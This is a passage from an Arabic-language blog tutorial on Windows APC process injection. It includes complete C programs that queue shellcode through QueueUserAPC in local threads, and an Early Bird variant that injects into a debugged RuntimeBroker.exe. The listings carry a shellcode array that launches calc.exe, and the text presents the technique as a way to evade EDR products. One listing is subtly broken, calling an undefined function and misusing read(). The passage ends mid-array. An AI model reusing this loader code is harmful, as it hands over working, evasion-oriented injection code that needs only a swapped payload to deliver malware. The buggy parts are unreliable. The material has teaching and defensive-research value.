APC Injection

HomeLab

السَّلاَمُ عَلَيْكُمْ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ

اللَّهُمَّ صَلِّ عَلَى مُحَمَّدٍ وَعَلَى آلِ مُحَمَّدٍ ، كَمَا صَلَّيْتَ عَلَى إِبْرَاهِيمَ وَآلِ إِبْرَاهِيمَ ، إِنَّكَ حَمِيدٌ مَجِيدٌ ، وَبَارِكْ عَلَى مُحَمَّدٍ وَعَلَى آلِ مُحَمَّدٍ ، كَمَا بَارَكْتَ عَلَى إِبْرَاهِيمَ وَآلِ إِبْرَاهِيمَ ، إِنَّكَ حَمِيدٌ مَجِيدٌ ،

✨🌙 هَلَّ هِلالُ الخَيْرِ ، فَأسألُ اللهَ أنْ يَملأ قُلوبَكم بالنُّورِ واليقينِ ، مُبَارَكٌ عَلَيكُمُ الشَّهْرُ 🌙✨

HomeLab

Introduction

[+] فـ المقالتين اللـ فاتوا اتكلمنا عن الـ DLL Injection والـ Shellcode Injection وشوفنا إزاي نقدر نـ inject شيل كود أو ملف DLL فـ بروسيس ، سواء local أو Remote.

[+] المرة دي بقي هنتكلم عن الـ APC Injection ، ودي طريقة تانية من طرق الـ Process Injection اللـ بتعتمد ع ميكانيزم موجود فـ الويندوز اسمه Asynchronous Procedure Calls (APCs).

[+] طيب يعني إيه APC ؟

قبل مـ نتكلم عن الـ APC Injection ، خلينا الأول نفهم يعني إيه APC (Asynchronous Procedure Call).

  • الويندوز فيه حاجة اسمها APC Queue لكل Thread ، ودي عبارة عن Queue أو قائمة انتظار فيها دوال المفروض الثريد ينفذها فـ وقت معين .. الفكرة هنا إن بعض الدوال فـ الويندوز بتسمح للبرامج إنها تضيف دوال جديدة للقائمة دي ، بحيث لما الثريد يوصل لحالة معينة ، ينفذ الدوال دي بشكل تلقائي.
  • بمعنى تاني ، لو عندك ثريد شغال فـ الخلفية ، ومحتاج تنفذ دالة معينة عليه من غير مـ توقفه أو تتدخل بشكل مباشر ، الويندوز بيسمحلك تضيف الدالة دي فـ الـ APC Queue الخاصة بالثريد ده ، ولما الثريد يوصل لحالة معينة ، ينفذها ع طول تلقائي.

[+] طب إزاي الـ APC Queue بتشتغل؟

كل Thread فـ الويندوز عنده APC Queue خاصة بيه ، بس الدوال اللـ فيها مش بتتنفذ ع طول ، لازم الثريد يكون فـ حالة اسمها Alertable State عشان يبدأ ينفذ الدوال اللـ فـ الـ Queue.

[+] إمتى الثريد بيدخل فـ الـ Alertable State؟

فيه دوال معينة فـ الويندوز بتخلي الثريد يدخل الـ Alertable State زي:

  • SleepEx()
  • SignalObjectAndWait()
  • MsgWaitForMultipleObjectsEx()
  • WaitForMultipleObjectsEx()
  • WaitForSingleObjectEx()
لما أي ثريد ينفذ واحدة من الدوال دي ، بيبدأ ينفذ أي دوال موجودة فـ APC Queue الخاصة بيه تلقائيا .. وتقدر تشوف المصدر من [هنا]:
APC-Injection-1

[+] طب إيه علاقة الكلام ده بالـ Injection؟

إحنا ممكن نستغل الـ APC Queue عشان نحقن كود داخل Thread معين ، خصوصا لو الثريد ده فـ الـ Alertable State ، والفكرة ببساطة إننا بنضيف Shellcode أو دالة معينة لقائمة الـ APC Calls الخاصة بالثريد ، ولما ييجي وقت تنفيذها ، الكود بتاعنا هيشتغل جوه البروسيس اللـ إحنا مستهدفينها.

[+] إزاي ممكن نستخدمه بشكل عملي؟

فيه طرق مختلفة لاستغلال الـ APC Injection عشان ننفذ كود داخل بروسيس تانية ، زي:

  1. استخدام QueueUserAPC لتنفيذ دالة داخل ثريد معين :
  2. لو عندنا ثريد فـ حالة الـ Alertable ، ممكن نستخدم ()QueueUserAPC عشان نضيف كود معين يتنفذ فـ المرة الجاية اللـ يدخل فيها الثريد الحالة دي .. زي مثلا لو برنامج بيستخدم ()SleepEx بدل ()Sleep ، ممكن نستغل الموضوع ونضيف APC Call وقت نوم الثريد.
  3. "Early Bird Injection" – تنفيذ كود قبل نقطة الدخول (Entry Point) :
  4. هنا بننشئ بروسيس فـ وضع الـ Suspended ، ونحقن فيه الشيل كود ، وبعدين نستخدم APC Injection عشان نضمن إنه يتنفذ قبل مـ البروسيس يبدأ شغله الفعلي .. وده أسلوب بيتم استخدامه لتجاوز بعض آليات الحماية زي الـ EDRs اللـ بتراقب نشاط البروسيس بعد التشغيل.
  5. استخدام "AtomBombing" لتنفيذ كود خبيث عبر الـ Atom Table :
  6. فـ الطريقة دي الشيل كود بيتكتب فـ الـ Global Atom Table ، وبعدين بيتنفذ داخل بروسيس تانية باستخدام APC Injection.
وتقدر تشوف المصدر من [هنا].
APC-Injection-2

[+] تعالي هقولك شوية أمثلة ع استخدامات الـ APC فـ الويندوز :

  1. عمليات الإدخال والإخراج (I/O Operations) :
  2. لما برنامج يطلب يقرأ أو يكتب بيانات من ملف ، أو حتى يحمل حاجة من الإنترنت ، بدل مـ يفضل مستني لحد مـ العملية تخلص ، الويندوز بيستخدم APC علشان يكمل تشغيل البرنامج عادي ، وأول مـ البيانات تبقى جاهزة ، الكود يتنفذ تلقائيا .. ومثال ع كده دوال زي ()ReadFileEx و ()WriteFileEx اللـ بتسمح بالقراءة والكتابة بدون مـ توقف البرنامج.
  3. تشغيل كود وقت الانتظار باستخدام ()SleepEx :
  4. لو برنامج محتاج ينام شوية باستخدام ()SleepEx بدل ()Sleep العادية ، ممكن خلال الوقت ده يستقبل وينفذ APC Calls ، وده بيفيد البرامج اللـ مش عايزة تبقى متوقفة تماما وعايزة تقدر تستجيب لأي حدث يحصل أثناء النوم.
  5. انتظار العمليات مع تنفيذ أكواد فـ نفس الوقت WaitForSingleObjectEx :
  6. أوقات البرامج بتستني يحصل حاجة معينة ، زي مثلا انتهاء تحميل ملف أو استجابة من جهاز خارجي ، باستخدام ()WaitForSingleObjectEx .. فـ الحالة دي ، لو فـ أي APC Calls متسجلة للثريد ، هتتنفذ تلقائيا وقت الانتظار بدل مـ يبقى البرنامج واقف تماما.
  7. تنفيذ كود معين بعد انتهاء Thread معين :
  8. بدل مـ البرنامج يفضل مستني ثريد معين يخلص علشان يبدأ خطوة جديدة ، ممكن يستخدم APC بحيث أول مـ الثريد يخلص ، يتم تنفيذ كود معين تلقائيا من غير الحاجة لانتظار يدوي أو مراقبة مستمرة.
  9. تحسين استجابة التطبيقات اللـ فيها واجهة رسومية (GUI Applications) :
  10. برامج الويندوز اللـ بتعتمد ع واجهة رسومية (زي المتصفحات أو برامج التعديل ع الصور) بتستخدم APC علشان تعالج الطلبات والرسائل اللـ بتوصل للـ Message Queue بسرعة وكفاءة ، ودا بيخليها أكتر سلاسة وأقل تهنيج.
  11. التعامل مع الأحداث فـ Kernel Mode :
  12. جوا نظام التشغيل نفسه (Kernel Mode) ، الويندوز بيستخدم APC علشان يسمح لكود المستخدم (User Mode) إنه يتفاعل مع الأحداث اللـ بتحصل فـ الخلفية ، زي استجابة تعريفات الهاردوير أو إدارة الميموري ، وكدا يعني.
  13. مساعدة أدوات Debugging ع التحكم فـ البرامج :
  14. أدوات التصحيح (Debugging Tools) بتستخدم APC علشان تدخل كود معين جوا البرنامج اللـ بيتم تصحيحه ، وده بيساعد فـ تتبع الأكواد أو تنفيذ بعض العمليات الخاصة بالـ Hooking & Tracing.

كل السيناريوهات دي بتوضح إن الـ APC Mechanism مش مجرد حاجة ثانوية ، إنما هو جزء أساسي فـ كيفية تشغيل التطبيقات فـ الويندوز ، وده السبب اللـ بيخلينا نقدر نستغله فـ الـ Process Injection.

[+] بعد المقدمة الطويلة دي واللـ كانت لازم عشان تكون فاهم .. هنتكلم عن:

  1. SleepEx()
  2. WaitForSingleObjectEx()
  3. Suspended Thread
  4. Remote APC Injection (EarlyBird)

1. SleepEx()

[+] هنتكلم عن دالتين تبع الـ Windows API ، واللـ هنشوف من خلالهم إزاي نخلي الثريد فـ الـ Alertable State عشان نقدر ننفذ الـ APC Injection.

الـ ()SleepEx دي دالة بتخلي الثريد ينام لفترة معينة مع إمكانية تنفيذ APC Calls وقت النوم .. تعالي ندخل ع الكود والخطوات:

  1. هنكريت بروجيكت جديد ونضيف الشيل كود اللـ بنشتغل بيه كل مرة :
  2. APC-Injection-3
  3. الدالة ()AlertableFunction :
  4. بتستخدم ()SleepEx عشان تخلي الثريد ينام بس فـ وضع الـ Alertable ، وده معناه إنه يقدر ينفذ أي APC Calls موجودة فـ الـ APC Queue بتاعته وقت النوم.
    APC-Injection-4
  5. هندخل ع الفانكشن بتاعة الـ Injection :
  6. اتكلمنا عن الـ VirtualAlloc, memcpy & VirtualProtect قبل كده .. الجزء الجديد بتاع الـ QueueUserAPC .. ودي بتستخدم لإضافة APC للـ APC Queue الخاصة بثريد معين.
    لما الثريد المستهدف يدخل فـ وضع الـ Alertable ، الويندوز بيشوف إن فيه APC Call متسجلة فـ الـ APC Queue ، فينفذ الكود اللـ فـ الـ pAddress ، واللـ فـ حالتنا دي هو Shellcode.
    APC-Injection-5
  7. آخر جزء فانكشن الـ main :
  8. هنا مفيهاش جديد عن اللـ شرحناه قبل كده ، هي بتبدأ التنفيذ بإنشاء Thread جديد باستخدام CreateThread ، والثريد ده بيكون فـ الـ Alertable State عشان يقدر يستقبل APC Calls ، بعد كده بتستدعي ApcInjectionFunc عشان تحقن الـ Shellcode فـ الـ Thread اللـ تم إنشاؤه.
    APC-Injection-6

[+] يلا نـ رن :

  • تمام ✅
  • APC-Injection-7

[+] الكود النهائي :

#include <Windows.h>
#include <stdio.h>

unsigned char Payload[] = {
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"};

BOOL ApcInjectionFunc(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {

  PVOID pAddress = NULL;
  DWORD dwOldProtection = NULL;

  pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  if (pAddress == NULL) {
    printf("[!] VirtualAlloc Failed with Error : %d \n", GetLastError());
    return FALSE;
  }

  memcpy(pAddress, pPayload, sPayloadSize);

  if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
    printf("[!] VirtualProtect Failed with Error : %d \n", GetLastError());
    return FALSE;
  }

  if (!QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL)) {
    printf("[!] QueueUserAPC Failed with Error : %d \n", GetLastError());
    return FALSE;
  }

}

VOID AlertableFunction() {
  SleepEx(INFINITE, TRUE);
}

int main() {

  HANDLE hThread = NULL;

  hThread = CreateThread(NULL, NULL, &AlertableFunction, NULL, NULL, NULL);
  if (hThread == NULL) {
    printf("[!] CreateThread Failed with Error : %d \n", GetLastError());
    return FALSE;
  }

  if (!ApcInjectionFunc(hThread, Payload, sizeof(Payload))) {
    return -1;
  }

  printf("[i] Press <Enter> to Quit ...");
  getchar();

  return 0;
}

2. WaitForSingleObjectEx()

[+] هنتكلم ع طريقة تانية بتخلي الـ Thread فـ Alertable State زي ()SleepEx ، وهي الـ ()WaitForSingleObjectEx .. والفرق إن بدل مـ الثريد بيكون مجرد نايم ومستني (sleep) ، هنا هو بيستنى حدث معين (Event) يحصل ، و الثريد مش بيشتغل لحد مـ يحصل الحدث ده ، بس لو فـ APC Call متسجلة علية ، الويندوز هينفذها وقت الانتظار ، وده بيسمح بتنفيذ كود معين فـ نفس التوقيت من غير مـ الثريد يخرج من حالة الانتظار.

[+] يلا نشوف الكود :

  1. فانكشن الـ Alertable :
  2. هنا هنغير الجزء فـ الكود اللـ فات فـ حتة الـ ()SleepEx ، وهنضيف الفانكشن الجديدة.
    • أول حاجة بنستخدم ()CreateEvent عشان ينشئ حدث (Event) ، وده بيكون زي Signal أو إشارة كدا يقدر الثريد يستناها.
    • بعد كده ()WaitForSingleObjectEx بتخلي الثريد يستنى الحدث ده لوقت غير محدود (INFINITE) ، بس مع تشغيل Alertable Mode (TRUE) ، وده معناه إنه لو فـ APC Call متسجلة ع الثريد ، هتتنفذ وقت الانتظار.
    • وآخر حتة لما نخلص بنقفل الـ Handle بتاع الحدث باستخدام CloseHandle(hEvent).
    APC-Injection-8

[+] يلا نـ رن :

  • تمام ✅
  • APC-Injection-9

[+] الكود النهائي :

#include <Windows.h>
#include <stdio.h>

unsigned char Payload[] = {
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"};

BOOL ApcInjectionFunc(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {

  PVOID pAddress = NULL;
  DWORD dwOldProtection = NULL;

  pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  if (pAddress == NULL) {
    printf("[!] VirtualAlloc Failed with Error : %d \n", GetLastError());
    return FALSE;
  }

  memcpy(pAddress, pPayload, sPayloadSize);

  if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
    printf("[!] VirtualProtect Failed with Error : %d \n", GetLastError());
    return FALSE;
  }

  if (!QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL)) {
    printf("[!] QueueUserAPC Failed with Error : %d \n", GetLastError());
    return FALSE;
  }

}

VOID AlertableFunction() {

  HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
  if (hEvent) {
    WaitForSingleObjectEx(hEvent, INFINITE, TRUE);
    CloseHandle(hEvent);
  }
}

int main() {

  HANDLE hThread = NULL;

  hThread = CreateThread(NULL, NULL, &AlertableFunction, NULL, NULL, NULL);
  if (hThread == NULL) {
    printf("[!] CreateThread Failed with Error : %d \n", GetLastError());
    return FALSE;
  }

  if (!ApcInjectionFunc(hThread, Payload, sizeof(Payload))) {
    return -1;
  }

  printf("[i] Press <Enter> to Quit ...");
  getchar();

  return 0;
}

3. Suspended Thread :

[+] دلوقتي هنتكلم عن الـ Suspended Threads ، ودي ببساطة ثريدات بننشئها بس بدل مـ تشتغل ع طول ، بتبدأ وهي متوقفة (Suspended) ، يعني موجودة فـ الميموري بس مش شغالة لسه .. الميزة فـ الطريقة دي إنك بتاخد وقتك تعدل عليها أو تحقن فيها كود معين قبل مـ تشغلها يدويا.

[+] يلا نشوف الكود :

  1. الـ DummyFunction :
  2. دي مجرد فانكشن تجريبية مش بتعمل حاجة مفيدة ، هي بس بتستخدم عشان ننشئ ثريد يكون فـ الـ Suspended Mode .. الكود اللـ جواها عبارة عن عمليات حسابية عشوائية باستخدام ()rand ، وهدفه الأساسي إنه يكون مجرد جسم للثريد بدون أي تأثير حقيقي.
    APC-Injection-9
  3. الـ Suspended Thread :
  4. استخدمنا CREATE_SUSPENDED عشان الثريد يبدأ متوقف (Suspended) بدل مـ يكون شغال من البداية ، وده بيدينا تحكم كامل قبل تشغيله.
    APC-Injection-10
  5. استئناف تشغيل الثريد.
  6. انتظار انتهاء الثريد :
  7. السطر ده بيخلي البرنامج يستنى لحد مـ الثريد يخلص شغله قبل مـ يكمل تنفيذ باقي الكود .. هنا بنستخدم INFINITE عشان نفضل منتظرين بدون حد زمني معين ، وده بيضمن إن الـ APC اللـ تم حقنها جوه الثريد تاخد فرصتها فـ التنفيذ قبل مـ البرنامج يكمل.
    APC-Injection-11

[+] يلا نـ رن :

  • تمام ✅
  • APC-Injection-11

[+] الكود النهائي :

#include <Windows.h>
#include <stdio.h>

unsigned char Payload[] = {
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00"};

BOOL ApcInjectionFunc(IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {

  PVOID pAddress = NULL;
  DWORD dwOldProtection = NULL;

  pAddress = VirtualAlloc(NULL, sPayloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  if (pAddress == NULL) {
    printf("[!] VirtualAlloc Failed with Error : %d \n", GetLastError());
    return FALSE;
  }

  memcpy(pAddress, pPayload, sPayloadSize);

  if (!VirtualProtect(pAddress, sPayloadSize, PAGE_EXECUTE_READWRITE, &dwOldProtection)) {
    printf("[!] VirtualProtect Failed with Error : %d \n", GetLastError());
    return FALSE;
  }

  if (!QueueUserAPC((PAPCFUNC)pAddress, hThread, NULL)) {
    printf("[!] QueueUserAPC Failed with Error : %d \n", GetLastError());
    return FALSE;
  }

}

VOID DummyFunction() {

int i = read();
int j = i + read();
}

int main() {

  HANDLE hThread = NULL;

  hThread = CreateThread(NULL, NULL, &AlertableFunction, NULL, CREATE_SUSPENDED, NULL);
  if (hThread == NULL) {
    printf("[!] CreateThread Failed with Error : %d \n", GetLastError());
    return FALSE;
  }

  if (!ApcInjectionFunc(hThread, Payload, sizeof(Payload))) {
    return -1;
  }

  ResumeThread(hThread);
  WaitForSingleObject(hThread, INFINITE);

  printf("[i] Press <Enter> to Quit ...");
  getchar();

  return 0;
}

4. Remote APC Injection (EarlyBird) :

[+] هنتكلم دلوقتي ع طريقة تانية واللـ بتُستخدم كتير للـ APC Injection وهي الـ Early Bird APC Injection :

  • التكنيك ده ببساطة عبارة عن إننا بنـ inject الشيل كود جوا بروسيس جديدة قبل حتى مـ تبدأ تشتغل بشكل طبيعي.
  • الفرق بينه وبين الطرق اللـ شرحناهم قبل كده هو إننا مش بنحقن كود جوه عملية شغالة ، إحنا اللـ بننشئ العملية من الأول ، ونوقفها نخليها ع حالة الـ Suspend ، ونحقن الكود بتاعنا ، بعدين نشغلها تاني عشان الشيل كود بتاعنا يشتغل قبل أي حاجة تانية.

[+] تعالي أقولك الفكرة والخطوات :

  1. تشغيل عملية جديدة متعلقة (CreateProcessA - Debug Mode) :
  2. فـ الأول بنشغل عملية جديدة وهي RuntimeBroker.exe بس مش بنشغلها ع طول .. لا .. بنشغلها فـ وضع التعليق (Suspended State) باستخدام CreateProcessA مع DEBUG_PROCESS.
    الفكرة هنا إننا نمنعها تشتغل طبيعي ، وندي نفسنا فرصة نضيف الشيل كود فيها الأول.
    APC-Injection-12
  3. حجز مكان فـ ذاكرة RuntimeBroker.exe :
  4. بعد مـ العملية اشتغلت بس لسه متعلقة ، بنستخدم VirtualAllocEx عشان نحجز مساحة فـ ذاكرتها عشان نضيف فيها الشيل كود.
    المكان ده بيكون بصلاحيات قراءة وكتابة (RW) الأول ، لإنه لو كان تنفيذ مباشر ، برامج الحماية هتكتشفه.
    APC-Injection-13
  5. كتابة الـ Shellcode فـ ذاكرة RuntimeBroker.exe :
  6. هنا بنستخدم WriteProcessMemory عشان نكتب الشيل كود جوه المساحة اللـ حجزناها فـ ذاكرة العملية.
    يعني دلوقتي الكود بتاعنا بقى متخزن جوه RuntimeBroker.exe ، بس لسه مش شغال.
    APC-Injection-14
  7. تغيير صلاحيات الذاكرة عشان نخلي الكود ينفذ :
  8. بعد مـ كتبنا الكود ، بنحتاج نخليه قابل للتنفيذ ، فـ بنستخدم VirtualProtectEx عشان نغير صلاحيات المساحة من RW (قراءة وكتابة) إلى RWX (قراءة وكتابة وتنفيذ).
    APC-Injection-15
  9. تجهيز تشغيل الشيل كود :
  10. دلوقتي الشيل كود بقى جاهز جوه العملية ، بس إزاي نخليه يشتغل؟
    بنستخدم QueueUserAPC عشان نضيف الشيل كود فـ قائمة انتظار الـ APC الخاصة بالـ Thread الرئيسي للعملية.
    يعني أول ما العملية تشتغل ، بدل مـ تكمل عادي ، أول حاجة بتنفذها هي الكود بتاعنا.
    APC-Injection-16
  11. استئناف تشغيل RuntimeBroker.exe عشان ينفذ الشيل كود :
  12. آخر خطوة بنفصل عملية التصحيح باستخدام DebugActiveProcessStop ، وده بيخلي RuntimeBroker.exe يكمل تشغيله.
    بس بدل مـ يبدأ عادي ، بيشوف أول حاجة فـ الـ APC Queue ، وإحنا ضايفين الشيل كود هناك ، فـ هيشغلة قبل أي حاجة تانية.
    APC-Injection-17

[+] تعالي ندخل ع الكود :

  1. دا عشان نتغاضي عن الإيرور بتاع الـ sprintf .. واتكلمنا عنها فـ المقالات اللـ فاتت لو فاكر.
  2. دا تعريف للـ بروسيس اللـ هنشتغل عليها ومستهدفينها.
  3. نفس الشيل كود بتاع كل مرة.
  4. دي الفانكشن من المقالة اللـ فاتت بتاعة الـ Shellcode Injection.
  5. APC-Injection-18
  6. فـ الخطوة الأولى بنحتاج نشغل بروسيس مستهدفة ، واللـ هي فـ المثال بتاعنا ده (RuntimeBroker.exe) ، بس بطريقة تخلينا نتحكم فيها قبل مـ تشتغل بالكامل .. وده بالضبط اللـ بتعمله الفانكشن CreateDebuggedProcess ، زي مـ كان فـ الصورة اللـ فيها الخطوات ، أول خطوة كانت CreateProcessA - Debug ، وهنا الكود بيستخدم CreateProcessA مع DEBUG_PROCESS عشان يشغل RuntimeBroker.exe فـ وضع التصحيح ، وده بيخليها متوقفة مؤقتا بدل مـ تشتغل ع طول.
  7. APC-Injection-19
  8. آخر جزء ودا الـ main func .. وفـ الأول بيشغل الـ CreateDebuggedProcess عشان تكون RuntimeBroker.exe فـ وضع الـ Debugging ، بعد كده بيتم حقن الشيل كود فـ البروسيس من خلال InjectShellcodeToRemoteProcess ، بعدين بنستخدم QueueUserAPC عشان ينضاف الشيل كود لقائمة الـ APC Queue ، بحيث يتنفذ ع طول .. بعد كده بيحصل استئناف للبروسيس باستخدام DebugActiveProcessStop ، اللـ بيعمل Detach للـ Debugger من العملية ويخليها تستمر فـ التنفيذ بشكل طبيعي من غير أي شكوك ، واخر خطوة بنقفل الهاندل وانت كدا كدا عارف ليه من المقالات اللـ فاتت.
  9. APC-Injection-20

[+] يلا نـ رن :

  • هنلاقي إنه اشتغل وتمام ✅
  • APC-Injection-21

[+] بس تعالي نشوف تفاصيل أكتر .. هنشغل البرنامج تاني ونفتح الـ Process Hacker

  • لو بحثت بـ اسم البروسيس هتلاقي إن اللـ عملناها لونها مختلف
  • APC-Injection-22
  • ولو روحت ع Options > Highlighting هتتأكد إن اللون ده يعني إنها فـ الـ Debugged Process.
  • APC-Injection-23
  • وهنا هتلاقي تفاصيل زي مين الـ Parent اللـ شغل البروسيس دي ، والكوماند اللـ اتكتب عشان تشتغل.
  • APC-Injection-24
  • لو روحت ع الـ Address ، هتلاقي إن الشيل كود موجود بس بصلاحيات Read & Write بس.
  • APC-Injection-25
  • لما هتضغط Enter .. هتلاقي إن الصلاحيات إتغيرت والشيل كود نقدر نشغله.
  • APC-Injection-26
  • آخر خطوة هتضغط Enter تاني عشان تشغل الشيل كود .. وهيشتغل والدنيا تمام.
  • APC-Injection-27

[+] الكود النهائي :

#include <Windows.h>
#include <stdio.h>

#pragma warning (disable:4996)

#define TARGET_PROCESS "Runtimebroker.exe"

unsigned char Payload[] = {
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
